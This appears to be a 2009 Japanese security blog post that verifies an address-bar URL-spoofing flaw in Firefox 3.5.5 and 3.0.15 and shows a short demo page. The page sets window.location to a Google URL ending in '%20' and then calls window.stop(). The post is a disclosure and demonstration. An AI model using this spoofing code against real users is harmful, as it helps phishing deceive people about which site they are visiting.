12月 24

Firefoxのdocument.locationのURL偽装検証メモ

Firefox 3.5.5及び、3.0.15以前のdocument.locationプロパティに入力検証の脆弱性が発見されてました。
アドレスバーに表示されるURLを偽装できるそうで、フィッシングなんかに利用できそうな問題です。
自分のブラウザがたまたま3.5.5だったのでこの脆弱性をチェックするためにデモページも作ってみました。
デモページはココです。
デモページのリンク先は「http://n.pentest.jp/20093985/fake.html」なのですが
脆弱性が存在するバージョンのFirefoxでリンク先に飛ぶとアドレスバーが「https://www.google.com /」と表示されます。
本当のリンク先である「fake.html」のソースは下記の通りです。
<html>
<title>!!!!!!!!!! fake page !!!!!!!!!</title>
<body onload="javascript:window.location = 'https://www.google.com%20';window.stop();void(0);">
<h1>Google?</h1>
</body>
</html>
「https://www.google.com%20」を指定して、「window.stop」で読み込みを停止させている辺りがミソなんですね。
昔、画像の位置によってロケーションバーを上書きしたように見せるなんてのもありましたが
今回のものは、文字列として上書きされているので気付きづらいだろうなーという印象を受けました。


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Posted 2009年12月24日 by ntsuji in category "exploit